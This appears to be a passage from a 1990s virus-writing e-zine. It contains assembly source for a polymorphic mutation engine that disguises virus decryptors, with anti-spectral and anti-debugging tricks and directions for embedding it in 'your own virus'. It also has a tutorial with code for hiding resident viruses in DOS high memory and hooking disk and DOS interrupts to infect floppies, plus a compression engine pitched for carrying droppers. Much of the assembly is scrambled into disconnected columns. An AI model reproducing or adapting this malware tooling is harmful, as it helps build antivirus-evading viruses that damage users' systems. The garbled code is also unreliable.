ax,3d02h/int21h ) };) About the spectral routines, they're made for one of the analysis which antivirus software use to detect poly viruses; they watch the instructions in the decryptor, and if all of them seem to be generated by that engine, they'll detect the virus. Let's imagine, for example, the "Shitty Mutator" uses three one byte instructions to make junk. The antivirus software would have these instructions and watch the -e.g.- 256 byte decryptor; if all the instructions placed in there are the decryptor itself ones or the three different one byte ones, the antivirus tells us a SM based virus is there. The method used to avoid it is fairly simple: a check, after a conditional jump that is always executed, and then two junk random bytes :)

2.- How to use the engine in your own virus ( hey, you, at least give me some credits in it ! :)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

About the values you have to set; first, there's a defined value at the end of the engine called "encryptvalue" which is the number which will be used to encrypt the virus with xor encryption. First, you'll have to encrypt the second copy of your virus, and put your word length encryption key into that value called "encryptvalue" ( which is used for the xor ). "Offset_second" is the virus_length plus 200h, the decryptor length; this way, the values changed are changed in the decryptor and not in the non-copied virus ( wonder why ? ) :-) "Virus_size" is your virus lenght in bytes. Of course, you can change the decryptor length, but be careful with that. That value is set on "restantes_poly", and is 200h normally; if you change this, divisions made by the engine to check if it has to put a decryptor instruction on the generator code will fail. So, if you're going to change the length, check also the divisions at the zone called "centro_poly" ( poly_center in spanish ). Another things to set ?... erhm... not. ES:DI or DS:SI set stuff for you; it's generated at the end of the first virus copy, just at "virus_size+0h", uhm... ah, and it supposes you to have another copy of the virus, of course. Come on, it's so easy to get it working when somebody else has written it four you first ! ;PPP Ah, and finally... you'll have to copy the decryptor instructions block at the first bytes of your TSR, at the first copy; the instructions in those first bytes are useful, cause they're not copied even not executed, so they can be overwritten by the decryptor ones.

*************************************************************************** THE NECROMANTIC MUTATION ENGINE ( NME ) *************************************************************************** The ants are in the sugar, the muscles atrophied ; This first part sets the decryptor variables ( loop pointer, remaining ;instructions and current instruction ) ; ; The loop pointer tells where to loop to make the xor "virus_size" ;times, remaining instructions is 200h-done_instructions, and current ;instruction is about which of the six decryptor instructions blocks has ;to be written next.

go_here: mov mov mov word ptr [bytes_referencia],0h word ptr [restantes_poly],200h ; n.instr decryptor byte ptr [numero_instruccion],6h ; n.util instrs

; This first part of the poly engine fills the blanks of the six blocks ;( 5 bytes each ) in which the decryptor instructions are divided on with ;random instructions. As you see, three blanks can be filled with a three ;bytes instructions, with a two bytes one and a one byte one or with three ;one byte instructions push pop mov mov call cs cs ds es di,3h cx,3 aleatorio

two_times:

two_of_one:

next_inst_gen:

@di0dh: @loopt:

and jz call jmp call inc call cmp jnz mov jmp mov loop

ah,1 two_of_one inst_2 next_inst_gen inst_1 di inst_1 di,0eh @di0dh di,017h @loopt di,0dh two_times

mov mov two_times_otavez: call and jz and jz call jmp tresd1: call inc call inc call jmp unod1y1d2: and jz call inc call jmp unod2y1d1: call inc call next_one_otave: mov call lea xor mov rep

di,011h cx,2 aleatorio ah,1 unod1y1d2 al,1 tresd1 inst_3 next_one_otave inst_1 di inst_1 di inst_1 next_one_otave al,1 unod2y1d1 inst_1 di inst_2 next_one_otave inst_2 di inst_1 di,01dh inst_1 di,instrucciones si,si cx,instrsize movsb ; The last

; This part exchanges 50% times SI and DI registers, which are used in ;the decryptor instructions call and jz mov mov mov mov aleatorio ah,1 dontchangeem byte ptr [instrucciones+7h],0beh byte ptr [instrucciones+10h],0f5h word ptr [instrucciones+15h],03c31h word ptr [instrucciones+19h],04646h

dontchangeem: ; Depending on a random value, CX is obtained by the normal way ( mov cx, ) ; or with a mov dx,register, mov cx,dx call and jz cbw and jz mov mov jmp siguiente_abajo: and jz mov mov jmp cx_con_dx: mov mov cx_acabado: ; To finish preparing the decrypting routine, we copy the instructions ;that modify SI, DI and CX, and put them randomly; the first time, I ;tried making this pushing and popping instructions... stack overflow ! :-o push mov mov lea lea push rep pop ver_si_esta_hecho: mov mov or jz call and jz and jz and jz and lea jmp popfirst: and jz and lea jmp popsecond: and dl,10b ; Third dl,1b ; Second one ver_si_esta_hecho byte ptr[variable_inst],011111110b di,instrucciones+0ah popfivebytes dx byte ptr [variable_inst],00000111b cx,015d ; Copy the 15 bytes of the si,instrucciones+5 ;instructions to the uuencode di,buffer ;buffer ( unused ) di movsb si byte ptr [instrucciones+0ah],0bah word ptr [instrucciones+0dh],0d189h al,1 cx_con_dx byte ptr [instrucciones+0ah],0b8h word ptr [instrucciones+0dh],0c189h cx_acabado aleatorio ah,1 cx_acabado ah,1 siguiente_abajo byte ptr [instrucciones+0ah],0bbh word ptr [instrucciones+0dh],0d989h cx_acabado

al,byte ptr [variable_inst] dl,al ; Then, restore them in a al,al ;random order acabado_pop_inst aleatorio ah,1 popfirst al,1 popsecond dl,100b ; First instruction ( five ver_si_esta_hecho ;bytes ) byte ptr [variable_inst],11111011b di,instrucciones+0fh popfivebytes

jz and lea popfivebytes: mov rep jmp acabado_pop_inst: pop

ver_si_esta_hecho byte ptr[variable_inst],011111101b di,instrucciones+5h cx,5d movsb ver_si_esta_hecho dx ; Replace

; The modification of the instructions of the decryptor finishes here with ;all changes made: the originals are kept at the beggining of the virus in ;memory. The posible "final loop" exchange is made when writing the ;decryptor ; Here begins the main zone of the code generator; where it's decided ;what generator to use and random instructions are copied at the ;decryptor.

mov centro_poly: mov mov and jnz jmp sigamos_decriptor: cmp jae cmp jz @cont_decrr: dec jz dec jz dec jz mov div inc cmp ja cmp jnz mov sub cmp jae @continuemos: call and jz and jz call dec inc jmp

di,virus_size+1 ax,word ptr [restantes_poly] ; Remaining cx,ax ;instructions number cx,cx sigamos_decriptor acabamos_decryptor ; Checks if finished cx,@getmcb-ant_debug @cont_decrr byte ptr [numero_instruccion],1 @@call_decryptgen ; If we have 1, 2 or 3 bytes remaining cx @@call_inst_1 cx @@call_inst_2 cx @@call_inst_3 cx,55h ; Do we need to put one of the decryptor cl ;instructions ? This is the div to change al ;if you change the decryptor length byte ptr[numero_instruccion],al @@call_decryptgen byte ptr[numero_instruccion],1 @continuemos ; To avoid the loop from going ax,di ;out of range ax,word ptr [loop_site] ax,70h @@call_decryptgen aleatorio ; randomly, place 3 bytes instr, ah,1 ;2, routine... @@trestipos al,1 @@call_inst_4 inst_1 word ptr [restantes_poly] di centro_poly

@@call_inst_1:

@@call_inst_4:

call add sub jmp

inst_4 di,4 word ptr [restantes_poly],4 centro_poly

@@trestipos:

cbw and jz and jz @@call_inst_3: call add sub jmp @@inst_2odec: and jnz @@call_decryptgen: call jmp @@call_inst_2: call inc sub @fix1: jmp @@call_sub: cmp jb call add sub jmp

ah,1 @@inst_2odec al,11b @@call_sub inst_3 di,3 word ptr[restantes_poly],3 centro_poly al,111b ; Low probability @@call_inst_2 gen_instruction centro_poly inst_2 di word ptr[restantes_poly],2 centro_poly word ptr[restantes_poly],@getmcb-ant_debug @fix1 inst_5 di,si word ptr[restantes_poly],si ; Long non fixed size centro_poly ;routine

acabamos_decryptor: ret instrsize instr_start equ instr_end-instr_start

label byte

; Decryptor instructions list; divided into five-bytes blocks. instrucciones: mov db mov mov db mov db loop_dec: xor db inc inc loop db word ptr cs:[di],si 90h,90h di di loop_dec 90h bp,0200h 90h,90h

; variable ( junk gen )

si,cs:word ptr [encryptvalue+bp] cx,virus_size/2 90h,90h di,bp 90h,90h,90h

instr_end

label byte

;******************************************* ; Decryptor values and data ;-------------------Restantes_poly: Numero_instruccion: num_aleat: variable_inst: loop_site: bytes_referencia: dw db dw db dw dw 200h 6 1250h 7h 0h 0h ; ; ; ; ; ; Remaining instructions counter Instruction number Aleatory number counter 0111b Looping allocation Offset Reference for instructions

; This returns a random number in AX after making some operations. aleatorio: mov call ror add push mov int pop add pop rol neg sub ror not mov ret ax,word ptr[num_aleat] aleat2 ax,5 ; The seed number is stablished in each ax,1531h ;infection by the date, and modified cx dx ax ;by the minutes ( but in AL, the less ah,2ch ;used, to contribute to the slow poly ) 21h ;and hour. ax ah,ch dx cx ax,1 ax ax,2311h ax,3 ax word ptr[num_aleat],ax

aleat2:

; Instructions generators: the required instructions are generated and ;copied in ES:DI, which points to the decryptor in memory ; Main generator: copies a decryptor instruction in ES:DI, with special ;care for the final loop gen_instruction: mov and jz dec jz dec jz @gen_ya: dec lea add add mov rep sub byte ptr [numero_instruccion] si,instrucciones si,word ptr [bytes_referencia] word ptr [bytes_referencia],5h cx,5 ; copy the instruction movsb word ptr[restantes_poly],5h ; remaining instrs al,byte ptr [numero_instruccion] al,al @vasmosnos al @preparar_loop al @guardar_paraloop

@vasmosnos: ret @guardar_paraloop: mov

word ptr [loop_site],di

jmp @preparar_loop: mov mov mov sub sub mov and jz mov jmp @make_a_jnz: mov dec mov jmp

@gen_ya

ax,0fch si,di cx,word ptr [loop_site] si,cx ax,si cx,word ptr[num_aleat] cl,1 @make_a_jnz byte ptr [instrucciones+01ch],al @gen_ya word ptr [instrucciones+01bh],7549h ax byte ptr [instrucciones+01dh],al @gen_ya

; Generator ----> One byte length instruction generator inst_1: call and jnz mov ret @cont_a1: and jz call and jz and jz call and jz mov ret @cont_a2_2_1: mov ret @cont_a2_1_1: mov ret @cont_a2_2: call and jnz mov ret @cont_a2_2_2: and jz mov ret @cont_a2_2_2_2: and mov ret @cont_a2: call and jz and jz call and jz aleatorio al,3h @cont_a1 byte ptr es:[di],90h ah,1 @cont_a2 aleatorio ah,1h @cont_a2_2 al,1h @cont_a2_1_1 aleatorio al,1h @cont_a2_2_1 byte ptr es:[di],42h byte ptr es:[di],43h byte ptr es:[di],40h aleatorio al,1h @cont_a2_2_2 byte ptr es:[di],48h ah,1h @cont_a2_2_2_2 byte ptr es:[di],4bh al,1h byte ptr es:[di],4ah aleatorio al,3h @cont_a2_11 ah,3h @cont_a2_12 aleatorio al,3h @cont_a2_2_11

; inc dx ; inc bx ; inc ax

; dec ax

; dec bx

; dec dx

@cont_a2_2_11: @cont_a2_2_12: @cont_a2_2_13: @cont_a2_11: @cont_a2_12:

and jz call and jz mov ret mov ret mov ret mov ret mov ret mov ret

ah,3h @cont_a2_2_12 aleatorio al,1 @cont_a2_2_13 byte ptr es:[di],0cch byte ptr es:[di],9fh byte ptr es:[di],99h byte ptr es:[di],98h byte ptr es:[di],0F9h byte ptr es:[di],0F8h

; int 3h ; lahf ; cwd ; cbw ; stc ; clc

; Generator ----> Two byte length instructions inst_2: call and jz cbw and jz jmp sigunvm: jmp @cont_sub: mov inc cbw and jz and jz call and jz and jz mov ret @cont_bsub_bx_cx: mov ret @cont_bsub_bx_dxdisi: cbw and jz and jz mov ret @cont_bsub_bx_di: mov ret @cont_bsub_bx_dx: mov ret @cont_bsub_ax: byte ptr es:[di],2bh di al,1 @cont_bsub_ax ah,1 @cont_bsub_dx aleatorio ah,1 @cont_bsub_bx_dxdisi al,1 @cont_bsub_bx_cx byte ptr es:[di],0d8h @cont_mul aleatorio ah,1h @cont_sub ah,1h sigunvm @cont_xor

; sub bx,ax

byte ptr es:[di],0d9h

; sub bx,cx

ah,1 @cont_bsub_bx_dx al,1 @cont_bsub_bx_di byte ptr es:[di],0deh

; sub bx,si

byte ptr es:[di],0dfh

; sub bx,di

byte ptr es:[di],0dah

; sub bx,dx

call and jz and jz mov ret @cont_bsub_ax_cx: mov ret @cont_bsub_ax_dxdisi: cbw and jz and jz mov ret @cont_bsub_ax_di: mov ret @cont_bsub_ax_dx: mov ret @cont_bsub_dx: call and jz and jz mov ret @cont_bsub_dx_bx: mov ret @cont_bsub_dx_sidicx: cbw and jz and jz mov ret @cont_bsub_dx_di: mov ret @cont_bsub_dx_cx: mov ret @cont_xor: mov inc call and jz cbw and jz and jz mov ret

aleatorio ah,1 @cont_bsub_ax_dxdisi al,1 @cont_bsub_ax_cx byte ptr es:[di],0c3h

; sub ax,bx

byte ptr es:[di],0c1h

; sub ax,cx

ah,1 @cont_bsub_ax_dx al,1 @cont_bsub_ax_di byte ptr es:[di],0c6h

; sub ax,si

byte ptr es:[di],0c7h

; sub ax,di

byte ptr es:[di],0c2h

; sub ax,dx

aleatorio ah,1 @cont_bsub_dx_sidicx al,1 @cont_bsub_dx_bx byte ptr es:[di],0d0h

; sub dx,ax

byte ptr es:[di],0d3h

; sub dx,bx

ah,1 @cont_bsub_dx_cx al,1 @cont_bsub_dx_di byte ptr es:[di],0d6h

; sub dx,si

byte ptr es:[di],0d7h

; sub dx,di

byte ptr es:[di],0d1h

; sub dx,cx

byte ptr es:[di],033h di aleatorio ah,1 @cont_xor_4last ah,1 @cont_xor_34 al,1 @cont_xor_2 byte ptr es:[di],0c0h

; xor ax,ax

@cont_xor_2: mov ret @cont_xor_34: and jz mov ret @cont_xor_4: mov ret @cont_xor_4last: cbw and jz and jz mov ret @cont_xor_6: mov ret @cont_xor_78: and jz mov ret @cont_xor_8: mov ret @cont_mul: mov inc call and jz and jz mov ret @cont_divmul_2: mov ret @cont_divmul_34: and jz mov ret @cont_divmul_4: mov ret byte ptr es:[di],0e7h ; mul di al,1 @cont_divmul_4 byte ptr es:[di],0e6h byte ptr es:[di],0e1h ; mul cx byte ptr es:[di],0f7h di aleatorio ah,1 @cont_divmul_34 al,1 @cont_divmul_2 byte ptr es:[di],0e3h byte ptr es:[di],0d0h ; xor dx,ax al,1 @cont_xor_8 byte ptr es:[di],0d2h byte ptr es:[di],0dah ; xor bx,dx ah,1 @cont_xor_78 al,1 @cont_xor_6 byte ptr es:[di],0d8h byte ptr es:[di],0dbh ; xor bx,bx al,1 @cont_xor_4 byte ptr es:[di],0c2h byte ptr es:[di],0c3h ; xor ax,bx

; xor ax,dx

; xor bx,ax

; xor dx,dx

; mul bx

; mul si

; Generator ----> Three byte long instructions inst_3: call mov inc jz dec and aleatorio si,ax si inst_3 si ah,1

; We don't want a 0ffffh

jz and jz mov mov ret @mov_dx_inm: mov mov ret @add_or_sub_ax: and jz mov mov ret @mov_mem_ax: mov mov ret

@add_or_sub_ax al,1 @mov_dx_inm byte ptr es:[di],0bbh word ptr es:[di+1],si byte ptr es:[di],0bah word ptr es:[di+1],si al,1 @mov_mem_ax byte ptr es:[di],05h word ptr es:[di+1],si byte ptr es:[di],0a1h word ptr es:[di+1],si

; mov bx,reg

; mov dx,reg

; add ax,reg

; mov ax,mem

; Generator ----> Four bytes instructions inst_4: call mov inc jz dec and jz cbw and jz and jz mov mov ret mov mov ret and jz mov mov ret mov mov ret cbw and jz mov mov and jz inc ret mov mov and jz inc ret aleatorio si,ax si inst_4 si ah,1 @q_seg_parte ah,1 @q_movdxobx al,1 @q_subbxfuck word ptr es:[di],019b4h word ptr es:[di+2],021cdh word ptr es:[di],0eb81h word ptr es:[di+2],si al,1 @q_movdx_mem word ptr es:[di],01e8bh word ptr es:[di+2],si word ptr es:[di],0168bh word ptr es:[di+2],si

; Get drive function

@q_subbxfuck:

@q_movdxobx:

@q_movdx_mem:

@q_seg_parte:

ah,1 @q_seg_sub word ptr es:[di],0c281h word ptr es:[di+2],si al,1 @nosvamos_4 byte ptr es:[di+1] word ptr es:[di],0ea81h word ptr es:[di+2],si al,1 @nosvamos_41 word ptr es:[di+1]

@nosvamos_4: @q_seg_sub:

@nosvamos_41:

; Generator ----> More than 4 bytes routines

inst_5:

call and jz and jz mov mov call mov mov ret

aleatorio ; Anti-spectral routine, ah,1 ;generates a random value @c_seg_parte ;after a cmp ax,ax/jz xxx al,1 ;that will never be executed: @c_seg_prim ;"spectral" is a way of word ptr es:[di],0c033h ;finding polymorphic viruses word ptr es:[di+2],0274h;that checks for instructions aleatorio ;that aren't in the poly word ptr es:[di+4],ax ;engine; if the instructions si,06h ;are all of a fixed range, ;the spectral identifies the ;poly engine.

@c_seg_prim: mov mov mov mov ret @c_seg_parte: and jz mov mov mov call mov mov ret word ptr es:[di],0f7fah word ptr es:[di+2],0f7dch word ptr es:[di+4],0fbdch si,06h ; Antidebugging routine ;( cli, neg sp, neg sp, ; sti )

al,1 @c_seg_seg ; Anti-spectral word ptr es:[di],0ffb8h ; mov ax,0ffffh word ptr es:[di+2],040ffh ; inc ax word ptr es:[di+4],0274h ; jz seguimos aleatorio ; ( 2 crap bytes ) word ptr es:[di+6],ax si,08h

@c_seg_seg: lea mov push rep pop sub ret random_number: ret encryptvalue: wintermute: dw db 0ffh 'The Necromantic Mutation Engine by Wintermute/29A',0 si,ant_debug cx,@getmcb-ant_debug cx movsb si di,si ; Antidebugging, the routine ;placed near the beggining ;of Zohra

HMA Residency ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> "Q" the Misanthrope This virus topic has not been discussed: HMA (not UMB) residency.

What is HMA? ÄÄÄÄÄÄÄÄÄÄÄÄ It stands for High Memory Address. HMA memory is a 65520 byte area from FFFF:0010h to FFFF:FFFFh. "Q" the Misanthrope has been using the HMA to store about 15 of his viruses. This is his tutorial on HMA useage.

Why HMA? ÄÄÄÄÄÄÄÄ It allows you to put your virus in a location not seen with any of the conventional memory tools. MEM, CHKDSK and others don't indicate that more memory is being used in the HMA when a virus goes resident there. Many anti virus programs did not scan the HMA since no one was crazy enough to put their virus up there. They now have changed because of the many viruses "Q" created that use the HMA.

HMA History ÄÄÄÄÄÄÄÄÄÄÄ On an 80286+ there is an address line called a20 that was to be used to map the second megabyte of memory. There are additional address lines (a21, a22, etc) but with this a20 line there became another 64k of memory available to real mode programs. Where did this new memory come from? On an 8086, the addressing of the processor is in SEGMENT:OFFSET format. Each OFFSET spans a 64k SEGMENT. The actual physical address is computed as SEGMENT*10h +OFFSET. The last byte of memory on an 8086 was F000:FFFFh, or F0000h+FFFFh =FFFFFh. Notice that FFFF:000F is the same physical address (FFFF0h+000Fh= FFFFFh). What happens if you were to address FFFF:0010? (FFFF0h+0010h= 100000h). On an 8086 this would map back to 0000:0000h but on an 80286 you have just touched the first byte of the second megabyte off memory. The only problem is that the 80286 works just the same as the 8086 and again you are mapped back to 0000:0000h. Some circuitry needed to be added, a20 gating was created. If doing the physical computation caused a carry into the next megabyte then turn the a20 line on. This feature had to be able to switched on and off at will. The 80286 also introduced the 8042 keyboard controller. There was an extra bit on an output port that could control this gating. The creation of the HIMEM.SYS would in part make controlling this a bit easier.

Gating a20 ÄÄÄÄÄÄÄÄÄÄ To enable the a20 gating: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 mov ax,4300h ;himem.sys check int 2fh cmp al,80h jne error ;no himem.sys loaded mov ax,4310h int 2fh ;get far call address es:bx mov ah,03h ;Global enable A20 push cs ;prime the stack for retf call call_es_bx ;put ip of next line on stack for retf next_line: or ax,ax ;check if error jz error

[...] call_es_bx: push push retf [...] error: mov mov push pop int [...] errmsg db - - - - - - - - - - - -

es bx

;code to do whatever ;now jmp to es:bx with ah as function ;the stack is primed to return to ;next line

ah,09h ;print command dx,offset errmsg;print error cs ds 21h "A20 Global Enable error!",0dh,0ah,"$" - - - - - - - - - - - - - - - - - - - - - - - - ->8 are documented in Ralf Brown's Interrupt

Note: all of the HIMEM.SYS calls list (INT 2Fh AX=4310h).

Brute force gating a20 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Another method is the brute force one. What if you want the HMA available at boot time for your boot sector virus? You can directly control the 8042 keyboard controller. Using command D1. Write Output Port: next byte written to port 60h is placed in the 8042 output port.

³7³6³5³4³3³2³1³0³ 8042 Output Port ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ system reset line ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ gate A20 ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄ undefined ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ output buffer full ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ input buffer empty ³ ÀÄÄÄÄÄÄÄÄÄÄÄ keyboard clock (output) ÀÄÄÄÄÄÄÄÄÄÄÄÄ keyboard data (output) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 mov al,0d1h ;send command to 8042 out 64h,al reloop: in al,64h ;check that port 60h is available or al,02h jnz reloop mov al,11100011b ;keep keyboard working and gate a20 out 60h,al push -1 ;set es=ffffh pop es push 00h pop ds ;set ds=0000h mov di,10h ;check if it worked, compare xor si,si ;ffff:0010h to 0000:0000 for 16 bytes mov cx,di ;set cx to 10h cld rep cmpsb ;compare it je failed [...] ;worked, copy virus to ffff:xxxx failed: jmp short failed ;do whatever - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

HMA and DOS 5+ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The easiest method is to use the HMA if DOS 5+ is loaded the commands in the CONFIG.SYS like these:

in the HMA with

DEVICE=C:\DOS\HIMEM.SYS DOS=HIGH This requirement is on 99% of all it, just do this: machines running this decade. To invoke

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 mov ax,4a02h ;allocate HMA space from DOS mov di,-1 ;prime di if DOS not high or < ver 5 mov bx,0200h ;number of bytes you want int 2fh ;should return es:di to available mem inc di ;di=ffffh if no memory or DOS<5 etc. jz failed ;if it failed dec di mov si,offset virii mov cx,bx ;get ready to copy virii cld rep movs byte ptr es:[di],cs:[si] [...] failed: jmp short failed - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Hooking interrupts ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Now that you are in the HMA, what next? hook in your interrupts and you are off infecting. Problem is that it is not that simple. You can't point an interrupt to ffff:xxxx because the a20 gate may be turned off for some reason. If the a20 gate is turned off then your interrupt will point to code in the first 64k of memory. When DOS 5+ interrupts 13h, 21h, 2fh, etc chain into the HMA they first check if the a20 line is gated, if not, they gate it. The interrupt then continues its code in the HMA. You can tunnel your desired interrupt and hook in to the interrupt chain when the code goes to the HMA. An example of hooking interrupt 21h is: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 virus_size equ previous_21-begin begin: [...] mov ax,3501h ;get int 1 address for tunnel int 21h mov dx,offset interrupt_1 mov ah,25h ;set int 1 for tunnel push es int 21h pop ds ;ds:dx will be to set it back push 00h ;es=0000h pop es pushf ;simulate interrupt stack mov dx,bx push cs push es ;return to cs:0000 is cd 20 int 01h ;set trap flag db 26h ;es: override in to int table dw 02effh,21h*04h ;jmp far ptr es:[0084] interrupt_1: pusha ;save varables push sp pop bp ;get pointer push ds push es lds si,dword ptr ss:[bp+10h];get next instruction address cmp word ptr ds:[si+01h],02effh

jne cmp org int je mov cmp jb mov mov mov int inc jz push cld mov mov rep pop movsw movsw lea mov mov toggle_tf: xor go_back: pop pop popa iret resident_21: pushf pusha [...] popa popf db previous_21: label - - - - - - - - - - - -

go_back ;check if jmp far ?s:[????] word ptr ds:[si-02h],001cdh $-02h ;see if called from our int 01 01h toggle_tf si,word ptr ds:[si+03h];get address segment of jmp byte ptr ds:[si+03h],0f0h go_back ;see if in HMA area bx,((virus_size+10h)SHR 4)*10h di,0ffffh ;allocate HMA area for virus ax,4a02h 2fh di ;is HMA full toggle_tf ;if so then just don't bother si ;move the virus to the HMA cx,virus_size si,0100h ;copy virus to HMA movs byte ptr es:[di],cs:[si] si ;now hook the int 21 chain ;int 21 copied at previous_21 di,word ptr ds:[di-04h-virus_size+offset resident_21] word ptr ds:[si-04h],di;point to resident 21 code word ptr ds:[si-02h],es byte ptr ss:[bp+15h],01h;toggle the trap flag es ds

;do the voodoo you do so well

0eah double - - - - - - - - - - - - - - - - - - - - - - - - ->8 need to hook int 13h

This is a bit laborous. What else can be done? if you then the simple use of int 2fh AH=13h can be done.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh mov ah,13h ;get int 13 chain int 2fh ;returns previous ds:dx to bios push ds ;int 13h push dx lea dx,word ptr ds:[di+offset resident_13] push -1 ;point to new int 13 in HMA pop ds int 2fh ;set new int 13 into chain push -1 pop ds pop word ptr ds:[di+previous_13] pop word ptr ds:[di+previous_13+02h] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 The only problem with this is that Windows access is enabled. An even simpler way of will spot it if the 32 bit disk

hooking into the interrupt 13h chain can be done if

all you are wanting to do is infect floppies. Interrupt 40h is the moved interrupt 13h handler that only handles floppy accesses. It can be directly hooked into the HMA because all access to it will be through interrupt 13h that made sure the a20 line was gated before it went into the HMA. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh push es ;save es mov ax,3540h ;get old int 40 int 21h pop ds ;get es and save old int 40 mov word ptr ds:[di+previous_40],bx mov word ptr ds:[di+previous_40+02h],es lea dx,word ptr ds:[di+resident_40] mov ah,25h ;set int 40 into hma int 21h - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Interrupt 2fh is very easy to hook into the HMA. Before DOS 7, you could hook your code in at 0070:0005h. DOS 7 moved it to 0070:0168h. Another way to hook into the interrupt chain and make sure that the a20 line is gated is to have some code in lower memory that calls the interrupt you want to hook in with some bogus function, then jump to the HMA code because the a20 line was gated with the previous interrupt call. An example: - - - - - - - - - - - - - - - - - - - .286 interrupt_21: push ax mov ah,19h pushf db 09ah previous_21 dd 04530126eh pop ax db 0eah hma_virus_code dd ffffec1ch - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ;interrupt 21h points to here ;get current drive (bogus instruction) ;simulated stack for interrupt ;far call instruction ;previous interrupt 21 simulation ;far jmp ;to virus code in HMA - - - - - - - - - - - - - - - - ->8

Using some lower memory as a kernal ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The trick is where to put these instructions in lower memory. The interrupt vector table can be used either the user area at 0040:00f0h or i like to use the root PSP of COMMAND.COM: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 mov ah,51h ;get current PSP int 21h xor ax,ax ;prime ax not equal PSP find_root_psp: cmp ax,bx je found_root mov ds,bx ;point to current psp mov ax,bx ;for compare mov bx,word ptr ds:[16h];get parent psp jmp short find_root_psp found_root: [...] ;ds points to the psp of command.com [...] ;ds:005ch to ds:007fh is useless space - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

What works and what doesn't

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When your virus code is the HMA there are certain things that will not work like you'd like them to: you can not hook your critical error handler in to the HMA. You can not do interrupt 21h writes or reads with DS:DX pointing in the HMA. To do these you will need to use some lower memory and copy the contents into the lower memory and point to it. You can use the lower memory areas discussed above. What does work: BIOS interrupt 13h reads and writes work just fine. Searching the disk buffers and modifying them to insert your code and then marking the buffer as dirty will cause the processor to write it back. If this has inspired someone else to use the HMA for evil rather then my efforts have been worth it. than good

"Q" the Misanthrope

Compression engines ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Super/29A and Vecna/29A Words from Super... Nowadays, more and more people need and ask for a compression engine for their viruses. Thinking about the matter, it really seems to be a good (at least useful) idea to include one of those compression engines inside a virus... of course it's not interesting if the engine itself is about 7k long for instance :) But if we're talking about a tiny engine (about 500-600 bytes), it's worth to spend a little amount of time thinking on the new ways it opens for us, such as... - Including compressed images in graphic format for a cool payload - Carrying a VxD dropper compressed inside our code, thus not mattering its size, and then being able to implement many more things in it - Compressing the files we infect, resulting in some times (especially with Windows 3.1 NE files) in a size decrease after infection... now go and tell many AVers to change their description on what a virus is :) - Compressing disk sectors! so free disk space won't be a problem anymore - And so on... everything depends on your imagination :) These all reasons drove me to write STCE (Super Tiny Compression Engine), a program whose name is self-explanatory... i did not use any Huffman-alike rule, as STCE is based just on repeated byte sequences. It's pretty optimized (413 bytes only!!!), so you can include it in any virus you want without experiencing any notorious increase in its size. Now let's explain how it works.

To compress code ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ - Input: AX -> holds the number of bits to encode not-repeated bytes with (when the repeated sequence is not two-byte, but maybe one-byte long, so we can't compress anything - just store). BX -> holds the maximum number of bits dedicated to encode the relative offset of the repeated sequence. With "maximum" i mean that STCE will not accept relative offsets with a higher number of bits (it wouldn't help in order to compress!). CX -> holds the length of the data we want to compress. DX -> holds the number of bits to encode the value which indicates us how many repeated bytes there are in the code we're compressing. DS:SI -> holds the address of the data we want to compress. ES:DI -> holds the address where we want STCE to put the compressed data. Take special care on having enough space for this, otherwise your virus may hang after having overwritten certain data! BP -> holds the minimum number of bits dedicated to encode the relative offset of a repeated sequence. And with "minimum" i mean that if the number of bits to encode the offset is below the value held in BP, then the number of bits which will be used will be this last one (BP), instead of the one in BX, which is larger.

I suggest the following values: AX=0000h BX=0009h CX=****h DX=0204h DS:SI=****h ES:DI=****h BP=0006h

At least they're ok in order to compress sectors.

- Output: CX -> holds the length of compressed code.

To decompress code ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ - Input: CX -> holds the *decompressed* size of (so, if u compress with cx=200h, DS:SI -> holds the address of the data we ES:DI -> here's where we want STCE to put the data we want to decompress. to decompress must use cx=200h) want to decompress. the decompressed data.

Note! AX, BX, DX and BP *MUST* hold the same values which were previously used when having called the "compress" routine.

- Output: ES:DI -> address of what you asked STCE to put there ;)

